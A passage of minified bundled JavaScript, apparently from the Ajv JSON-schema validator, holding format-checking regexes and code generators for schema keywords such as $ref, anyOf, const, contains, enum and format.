Lu=zr(),Fu=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,Mu=[0,31,28,31,30,31,30,31,31,30,31,30,31],qu=/^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d(?::?\d\d)?)?$/i,An=/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,Uu=/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,Vu=/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,Cn=/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,Dn=/^(?:(?:http[s\u017F]?|ftp):\/\/)(?:(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+(?::(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?@)?(?:(?!10(?:\.[0-9]{1,3}){3})(?!127(?:\.[0-9]{1,3}){3})(?!169\.254(?:\.[0-9]{1,3}){2})(?!192\.168(?:\.[0-9]{1,3}){2})(?!172\.(?:1[6-9]|2[0-9]|3[01])(?:\.[0-9]{1,3}){2})(?:[1-9][0-9]?|1[0-9][0-9]|2[01][0-9]|22[0-3])(?:\.(?:1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])){2}(?:\.(?:[1-9][0-9]?|1[0-9][0-9]|2[0-4][0-9]|25[0-4]))|(?:(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)(?:\.(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)*(?:\.(?:(?:[a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]){2,})))(?::[0-9]{2,5})?(?:\/(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?$/i,kn=/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,Nn=/^(?:\/(?:[^~/]|~0|~1)*)*$/,jn=/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,Ln=/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/;Un.exports=sa;function sa(a){return a=a=="full"?"full":"fast",Lu.copy(sa[a])}sa.fast={date:/^\d\d\d\d-[0-1]\d-[0-3]\d$/,time:/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,"date-time":/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,"uri-template":Cn,url:Dn,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i,hostname:An,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:qn,uuid:kn,"json-pointer":Nn,"json-pointer-uri-fragment":jn,"relative-json-pointer":Ln};sa.full={date:Fn,time:Mn,"date-time":Wu,uri:Qu,"uri-reference":Vu,"uri-template":Cn,url:Dn,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:An,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:qn,uuid:kn,"json-pointer":Nn,"json-pointer-uri-fragment":jn,"relative-json-pointer":Ln};function Hu(a){return a%4===0&&(a%100!==0||a%400===0)}function Fn(a){var e=a.match(Fu);if(!e)return!1;var t=+e[1],s=+e[2],r=+e[3];return s>=1&&s<=12&&r>=1&&r<=(s==2&&Hu(t)?29:Mu[s])}function Mn(a,e){var t=a.match(qu);if(!t)return!1;var s=t[1],r=t[2],n=t[3],l=t[5];return(s<=23&&r<=59&&n<=59||s==23&&r==59&&n==60)&&(!e||l)}var zu=/t|\s/i;function Wu(a){var e=a.split(zu);return e.length==2&&Fn(e[0])&&Mn(e[1],!0)}var Bu=/\/|:/;function Qu(a){return Bu.test(a)&&Uu.test(a)}var Zu=/[^\\]\\Z/;function qn(a){if(Zu.test(a))return!1;try{return new RegExp(a),!0}catch{return!1}}});var zn=B((Qf,Hn)=>{"use strict";Hn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.errSchemaPath+"/"+t,d=!e.opts.allErrors,h="data"+(l||""),m="valid"+n,E,c;if(i=="#"||i=="#/")e.isRoot?(E=e.async,c="validate"):(E=e.root.schema.$async===!0,c="root.refVal[0]");else{var y=e.resolveRef(e.baseId,i,e.isRoot);if(y===void 0){var _=e.MissingRefError.message(e.baseId,i);if(e.opts.missingRefs=="fail"){e.logger.error(_);var v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '$ref' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(f)+" , params: { ref: '"+e.util.escapeQuotes(i)+"' } ",e.opts.messages!==!1&&(r+=" , message: 'can\\'t resolve reference "+e.util.escapeQuotes(i)+"' "),e.opts.verbose&&(r+=" , schema: "+e.util.toQuotedString(i)+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+h+" "),r+=" } "):r+=" {} ";var P=r;r=v.pop(),!e.compositeRule&&d?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",d&&(r+=" if (false) { ")}else if(e.opts.missingRefs=="ignore")e.logger.warn(_),d&&(r+=" if (true) { ");else throw new e.MissingRefError(e.baseId,i,_)}else if(y.inline){var T=e.util.copy(e);T.level++;var x="valid"+T.level;T.schema=y.schema,T.schemaPath="",T.errSchemaPath=i;var R=e.validate(T).replace(/validate\.schema/g,y.code);r+=" "+R+" ",d&&(r+=" if ("+x+") { ")}else E=y.$async===!0||e.async&&y.$async!==!1,c=y.code}if(c){var v=v||[];v.push(r),r="",e.opts.passContext?r+=" "+c+".call(this, ":r+=" "+c+"( ",r+=" "+h+", (dataPath || '')",e.errorPath!='""'&&(r+=" + "+e.errorPath);var I=l?"data"+(l-1||""):"parentData",$=l?e.dataPathArr[l]:"parentDataProperty";r+=" , "+I+" , "+$+", rootData) ";var V=r;if(r=v.pop(),E){if(!e.async)throw new Error("async schema referenced by sync schema");d&&(r+=" var "+m+"; "),r+=" try { await "+V+"; ",d&&(r+=" "+m+" = true; "),r+=" } catch (e) { if (!(e instanceof ValidationError)) throw e; if (vErrors === null) vErrors = e.errors; else vErrors = vErrors.concat(e.errors); errors = vErrors.length; ",d&&(r+=" "+m+" = false; "),r+=" } ",d&&(r+=" if ("+m+") { ")}else r+=" if (!"+V+") { if (vErrors === null) vErrors = "+c+".errors; else vErrors = vErrors.concat("+c+".errors); errors = vErrors.length; } ",d&&(r+=" else { ")}return r}});var Bn=B((Zf,Wn)=>{"use strict";Wn.exports=function(e,t,s){var r=" ",n=e.schema[t],l=e.schemaPath+e.util.getProperty(t),i=e.errSchemaPath+"/"+t,f=!e.opts.allErrors,d=e.util.copy(e),h="";d.level++;var m="valid"+d.level,E=d.baseId,c=!0,y=n;if(y)for(var _,v=-1,P=y.length-1;v0||_===!1:e.util.schemaHasRules(_,e.RULES.all))&&(c=!1,d.schema=_,d.schemaPath=l+"["+v+"]",d.errSchemaPath=i+"/"+v,r+=" "+e.validate(d)+" ",d.baseId=E,f&&(r+=" if ("+m+") { ",h+="}"));return f&&(c?r+=" if (true) { ":r+=" "+h.slice(0,-1)+" "),r}});var Zn=B((Kf,Qn)=>{"use strict";Qn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P=i.every(function(M){return e.opts.strictKeywords?typeof M=="object"&&Object.keys(M).length>0||M===!1:e.util.schemaHasRules(M,e.RULES.all)});if(P){var T=y.baseId;r+=" var "+c+" = errors; var "+E+" = false; ";var x=e.compositeRule;e.compositeRule=y.compositeRule=!0;var R=i;if(R)for(var I,$=-1,V=R.length-1;${"use strict";Kn.exports=function(e,t,s){var r=" ",n=e.schema[t],l=e.errSchemaPath+"/"+t,i=!e.opts.allErrors,f=e.util.toQuotedString(n);return e.opts.$comment===!0?r+=" console.log("+f+");":typeof e.opts.$comment=="function"&&(r+=" self._opts.$comment("+f+", "+e.util.toQuotedString(l)+", validate.root.schema);"),r}});var Yn=B((Jf,Jn)=>{"use strict";Jn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i,c||(r+=" var schema"+n+" = validate.schema"+f+";"),r+="var "+E+" = equal("+m+", schema"+n+"); if (!"+E+") { ";var _=_||[];_.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'const' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { allowedValue: schema"+n+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be equal to constant' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var v=r;return r=_.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+v+"]); ":r+=" validate.errors = ["+v+"]; return false; ":r+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" }",h&&(r+=" else { "),r}});var ei=B((Yf,Xn)=>{"use strict";Xn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P="i"+n,T=y.dataLevel=e.dataLevel+1,x="data"+T,R=e.baseId,I=e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all);if(r+="var "+c+" = errors;var "+E+";",I){var $=e.compositeRule;e.compositeRule=y.compositeRule=!0,y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" var "+v+" = false; for (var "+P+" = 0; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var V=m+"["+P+"]";y.dataPathArr[T]=P;var M=e.validate(y);y.baseId=R,e.util.varOccurences(M,x)<2?r+=" "+e.util.varReplace(M,x,V)+" ":r+=" var "+x+" = "+V+"; "+M+" ",r+=" if ("+v+") break; } ",e.compositeRule=y.compositeRule=$,r+=" "+_+" if (!"+v+") {"}else r+=" if ("+m+".length == 0) {";var A=A||[];A.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'contains' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should contain a valid item' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var q=r;return r=A.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+q+"]); ":r+=" validate.errors = ["+q+"]; return false; ":r+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { ",I&&(r+=" errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; } "),e.opts.allErrors&&(r+=" } "),r}});var ti=B((Xf,ri)=>{"use strict";ri.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level,v={},P={},T=e.opts.ownProperties;for($ in i)if($!="__proto__"){var x=i[$],R=Array.isArray(x)?P:v;R[$]=x}r+="var "+E+" = errors;";var I=e.errorPath;r+="var missing"+n+";";for(var $ in P)if(R=P[$],R.length){if(r+=" if ( "+m+e.util.getProperty($)+" !== undefined ",T&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes($)+"') "),h){r+=" && ( ";var V=R;if(V)for(var M,A=-1,q=V.length-1;A0||x===!1:e.util.schemaHasRules(x,e.RULES.all))&&(r+=" "+_+" = true; if ( "+m+e.util.getProperty($)+" !== undefined ",T&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes($)+"') "),r+=") { ",c.schema=x,c.schemaPath=f+e.util.getProperty($),c.errSchemaPath=d+"/"+e.util.escapeFragment($),r+=" "+e.validate(c)+" ",c.baseId=H,r+=" } ",h&&(r+=" if ("+_+") { ",y+="}"))}return h&&(r+=" "+y+" if ("+E+" == errors) {"),r}});var si=B((eh,ai)=>{"use strict";ai.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i;var _="i"+n,v="schema"+n;c||(r+=" var "+v+" = validate.schema"+f+";"),r+="var "+E+";",c&&(r+=" if (schema"+n+" === undefined) "+E+" = true; else if (!Array.isArray(schema"+n+")) "+E+" = false; else {"),r+=""+E+" = false;for (var "+_+"=0; "+_+"<"+v+".length; "+_+"++) if (equal("+m+", "+v+"["+_+"])) { "+E+" = true; break; }",c&&(r+=" } "),r+=" if (!"+E+") { ";var P=P||[];P.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'enum' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { allowedValues: schema"+n+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be equal to one of the allowed values' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var T=r;return r=P.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+T+"]); ":r+=" validate.errors = ["+T+"]; return false; ":r+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" }",h&&(r+=" else { "),r}});var ii=B((rh,ni)=>{"use strict";ni.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||"");if(e.opts.format===!1)return h&&(r+=" if (true) { "),r;var E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=e.opts.unknownFormats,_=Array.isArray(y);if(E){var v="format"+n,P="isObject"+n,T="formatType"+n;r+=" var "+v+" = formats["+c+"]; var "+P+" = typeof "+v+" == 'object' && !("+v+" instanceof RegExp) && "+v+".validate; var "+T+" = "+P+" && "+v+".type || 'string'; if ("+P+") { ",e.async&&(r+=" var async"+n+" = "+v+".async; "),r+=" "+v+" = "+v+".validate; } if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'string') || "),r+=" (",y!="ignore"&&(r+=" ("+c+" && !"+v+" ",_&&(r+=" && self._opts.unknownFormats.indexOf("+c+") == -1 "),r+=") || "),r+=" ("+v+" && "+T+" == '"+s+"' && !(typeof "+v+" == 'function' ? ",e.async?r+=" (async"+n+" ? await "+v+"("+m+") : "+v+"("+m+")) ":r+=" "+v+"("+m+") ",r+=" : "+v+".test("+m+"))))) {"}else{var v=e.formats[i];if(!v){if(y=="ignore")return e.logger.warn('unknown format "'+i+'" ignored in schema at path "'+e.errSchemaPath+'"'),h&&(r+=" if (true) { "),r;if(_&&y.indexOf(i)>=0)return h&&(r+=" if (true) { "),r;throw new Error('unknown format "'+i+'" is used in schema at path "'+e.errSchemaPath+'"')}var P=typeof v=="object"&&!(v instanceof RegExp)&&v.validate,T=P&&v.type||"string";if(P){var x=v.async===!0;v=v.validate}if(T!=s)return h&&(r+=" if (true) { "),r;if(x){if(!e.async)throw new Error("async format in sync schema");var R="formats"+e.util.getProperty(i)+".validate";r+=" if (!(await "+R+"("+m+"))) { "}else{r+=" if (! ";var R="formats"+e.util.getProperty(i);P&&(R+=".validate"),typeof v=="function"?r+=" "+R+"("+m+") ":r+=" "+R+".test("+m+") ",r+=") { "}}var I=I||[];I.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'format' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { format: ",E?r+=""+c:r+=""+e.util.toQuotedString(i),r+=" } ",e.opts.messages!==!1&&(r+=` , message: 'should match format "`,E?r+="' + "+c+" + '":r+=""+e.util.escapeQuotes(i),r+=`"' `),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+e.util.toQuotedString(i),r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var $=r;return r=I.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+$+"]); ":r+=" validate.errors = ["+$+"]; return false; ":r+=" var err = "+$+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { "),r}});var li=B((th,oi)=>{"use strict";oi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e);y.level++;var 